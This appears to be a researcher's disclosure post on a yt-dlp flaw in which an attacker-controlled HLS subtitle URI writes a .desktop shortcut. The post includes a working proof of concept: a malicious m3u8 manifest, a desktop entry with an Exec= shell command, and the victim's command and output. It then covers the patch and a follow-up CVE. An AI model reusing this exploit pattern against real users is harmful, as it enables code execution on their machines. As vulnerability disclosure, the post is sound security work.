P
Pavan Nallamothu
Guest
You paste a link. yt-dlp fetches a video. In the same directory, a.desktopfile lands next to your subtitles. Your file manager hides the extension and shows a friendly name. You double-click what you think is an.srt. A shell command runs as you.
That is the whole bug. The rest of this post is how it got there, why the patch for the previous CVE was the delivery mechanism for this one, and why the follow-up CVE two months later says the class was never really closed.
Starting on the old CVE
I did not go into yt-dlp looking for a new bug. I went in to understand an old one.
CVE-2024-38519 was a filename-sanitization issue. yt-dlp was writing files whose names came from remote metadata, and on Linux desktops that meant an attacker could get a
.desktop shortcut written to your download folder by choosing the right title. Double-clicking that shortcut on GNOME or KDE runs whatever is in its Exec= line. Same class trick as .url on Windows and .webloc on macOS.The fix, on paper, sounded fine. Strip dangerous characters, block path traversal, refuse to write files with dangerous extensions.
I wanted to see what "dangerous extensions" actually meant in code. That is usually where the interesting part hides.
The wall, honestly
The direct target of the old CVE, the media name portion, had been beaten on. Path traversal via
../ in titles was stripped. Control characters, RTL overrides, overlongs, all handled. The name-sanitization pipeline was locked down.But name and extension are two separate slots in yt-dlp's output template.
-o "MyVideo.%(ext)s" splits them explicitly. The name goes through name-sanitization. The extension, %(ext)s, goes through a different function, sanitize_extension, and that function is gated by a global allowlist:
Code:
# yt_dlp/utils/_utils.py (pre-2026.06.09)
class _UnsafeExtensionError(ValueError):
ALLOWED_EXTENSIONS = frozenset([
# ~200 media/subtitle/container extensions
'srt', 'vtt', 'ass', 'mp4', 'webm', 'm4a', 'mp3', 'jpg', 'png',
...
'desktop', 'url', 'webloc',
])
That is the bug in six lines of Python.
.desktop, .url, and .webloc sit on the same list as .srt. Not as a special-cased carve-out inside --write-link. As a peer of every other permitted media extension.Why the exception exists
yt-dlp has a
--write-link flag. Pass it, and yt-dlp writes a platform-appropriate shortcut file that points at the source URL. .desktop on Linux, .url on Windows, .webloc on macOS. Real user feature, real users.When the maintainers hardened the sanitizer for CVE-2024-38519, they had to leave a hole. Those three extensions had to be writable somewhere, because
--write-link writes them on purpose. The pragmatic move was to put them on the shared allowlist and rely on convention: only --write-link will ever produce them.The intent: "user asked for a link file, allow the link file."
The reality: any code path in yt-dlp that picks the output extension now has permission to write
.desktop, .url, and .webloc, whether the user opted in or not. The scope of the exception is not enforced by the exception, it is enforced by every future author remembering these three are special. That is not a control. That is a superstition.The pivot
The advisory phrases the class cleanly: "Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source." Once I saw that on paper the question became which extractor forgets to sandbox the derived value.
HLS subtitles jumped out. An HLS master manifest can declare alternate media with
EXT-X-MEDIA:TYPE=SUBTITLES, and the track's URI= is an attacker-controlled string. yt-dlp derives the subtitle track's output extension from that URI's tail. If the URI ends in .desktop, sanitize_extension sees .desktop, checks the allowlist, waves it through. The user never passed --write-link. They passed --write-subs.The kill (live receipts)
Target: yt-dlp
2026.05.25.234532 (any <2026.06.09 works).Attacker files:
Code:
master.m3u8
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",DEFAULT=YES,\
AUTOSELECT=YES,LANGUAGE="en",URI="http://127.0.0.1:8899/payload.desktop"
#EXT-X-STREAM-INF:BANDWIDTH=200000,CODECS="avc1.42e00a,mp4a.40.2",SUBTITLES="subs"
video.m3u8
Code:
payload.desktop (double-quote form per the freedesktop Desktop Entry spec)
ini
[Desktop Entry]
Type=Application
Name=Subtitle
Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"
Code:
Victim command:
$ yt-dlp --version
2026.05.25.234532
$ yt-dlp --write-subs -o "MyVideo.%(ext)s" http://127.0.0.1:8899/master.m3u8
[generic] Extracting URL: http://127.0.0.1:8899/master.m3u8
[generic] master: Downloading m3u8 information
[info] master: Downloading subtitles: en
[info] Writing video subtitles to: MyVideo.en.desktop
[download] Destination: MyVideo.en.desktop
[download] 100% of 92.00B ...
Code:
Disk state after:
$ ls -la
-rw-r--r-- 1 pavan wheel 92 Sep 19 14:44 MyVideo.en.desktop
$ head MyVideo.en.desktop
[Desktop Entry]
Type=Application
Name=Subtitle
Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"
The victim did not pass
--write-link. They asked for subtitles.On GNOME and KDE,
.desktop files render with the Name= field as their display name, a friendly icon, and the extension hidden. Sitting in the download directory next to the video, it looks like a subtitle. First double-click executes Exec=.
The patch
The fix landed in 2026.06.09 (commit
e578e26). Two changes:1. Remove
desktop, url, webloc from the global ALLOWED_EXTENSIONS.2. Move the exception to the feature boundary.
_write_link_file now writes through a helper that receives _allowed_exts=tuple(LINK_TEMPLATES) and only that helper is allowed to emit link extensions.Credit: fix by Grub4K, review by bashonly.
That is the shape the exception should always have had. Global default: no. Feature that owns the exception: carries the permission itself, at the call site, and only there.
About "clean patch"
I want to walk back a line I would have written a month ago. This patch is not clean, it is cleaner.
On 2026.07.04, yt-dlp shipped GHSA-6v4j-43gg-vj32 / CVE-2026-55404. Two injection paths in the link files that
--write-link itself writes. On Windows, an attacker-controlled webpage_url with a file:// scheme was written raw into the .url file's URL= field, letting Windows execute a remote binary on double-click. On Linux, an unsanitized filename containing newlines could flip the desktop entry's Type from Link to Application and inject an Exec= line, running arbitrary shell. CVSS 7.5, fixed in 2026.07.04 by validating the URL scheme and escaping newlines in desktop entry values.Same class, different layer. The extension moved from the global sanitizer down to
--write-link, which is correct. But once it landed at the feature boundary, the feature boundary still shipped unescaped content, because the assumption "we control this output, it's fine" survived the move. Third CVE in the same family in two years.That is what a class of bug looks like when it hasn't been fully understood. The mechanical fix keeps getting rewritten. The mental model, "any string that reaches a shortcut file is a shell fragment until proven otherwise," has to be adopted at every layer that touches the write path.
The lesson I keep coming back to
Any time a remediation adds a permission somewhere central to keep a specific feature working, the exception is in the wrong place. The right question is which layer owns the decision to bend the rule. If the answer is "the shared utility" and the reason is "one feature needs it," the exception has already outgrown its scope. Put it at the feature boundary. Then look at whether the boundary itself sanitizes what it emits, because the next CVE lives there.
Impact ceiling
CVSS 8.3 High, not Critical. Reason: user interaction is required. The victim has to double-click a file the malware planted. Once they do, it is RCE at the victim's user privilege, which is where "one click on a default Linux desktop is the whole trigger" holds the ceiling at High. The same mechanism applies to
.url (Windows) and .webloc (macOS), since all three extensions rode the same allowlist. I only tested .desktop on Linux end-to-end.Timeline
Reported to yt-dlp via GitHub Security Advisory
Fixed in yt-dlp2026.06.09(commite578e26, fix by Grub4K, review by bashonly)
Follow-up in the same class: CVE-2026-55404 / GHSA-6v4j-43gg-vj32, fixed2026.07.04
GHSA: GHSA-c6mh-fpjc-4pr3
CVE: CVE-2026-50023